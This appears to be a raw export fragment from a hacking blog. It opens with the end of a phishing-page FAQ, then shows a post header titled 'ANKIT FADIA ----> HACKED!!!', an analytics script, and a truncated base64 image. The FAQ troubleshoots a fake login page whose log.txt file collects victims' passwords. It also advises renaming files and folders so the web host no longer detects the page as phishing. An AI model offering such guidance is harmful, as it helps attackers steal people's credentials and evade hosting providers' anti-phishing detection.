</span></span></div><div style="text-align: -webkit-auto;"><span style="background-color: white; line-height: 15px;"><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span></span></div><div style="text-align: -webkit-auto;"><span style="background-color: white; line-height: 15px;"><span style="font-family: Georgia,'Times New Roman',serif;"><b>3. log.txt file is not generating/ log.txt file is not saving passwords.</b></span></span></div><div style="text-align: -webkit-auto;"><span style="background-color: white; line-height: 15px;"><span style="font-family: Georgia,'Times New Roman',serif;"><b>Answer:</b> You should check all steps carefully, this is not a problem if you do every thing correctly.</span></span></div><div style="text-align: -webkit-auto;"><span style="background-color: white; line-height: 15px;"><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span></span></div><div style="text-align: -webkit-auto;"><span style="background-color: white; line-height: 15px;"><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span></span></div><div style="text-align: -webkit-auto;"><span style="font-family: Georgia,'Times New Roman',serif;"><span style="line-height: 15px;"><b>4. When i open my fake page's url, iget this error.</b> </span></span><span style="background-color: #f0f0f0; color: #262c2c; font-family: verdana,Arial,sans-serif; font-size: 13px; line-height: 15px;">http://error404.000webhost.com/?</span></div><div style="text-align: -webkit-auto;"><span style="color: #262c2c; font-family: Georgia,'Times New Roman',serif;"><span style="line-height: 15px;"><b>Answer:</b> It means ur page has been detected as a phishing page by the web hosting site, try renaming your folders and files. (And dont forget to rename the file/folder name in index.html file also.)</span></span></div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-7115265841958922952012-03-20T07:31:00.002-07:002014-01-08T05:11:06.096-08:00ANKIT FADIA ----> HACKED!!! | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"></div><div style="margin-left: 1em; margin-right: 1em;"> </div><br />
<div class="separator" style="clear: both; text-align: center;"></div><div style="margin-left: 1em; margin-right: 1em;"><img alt="" src="data:image/png;base64,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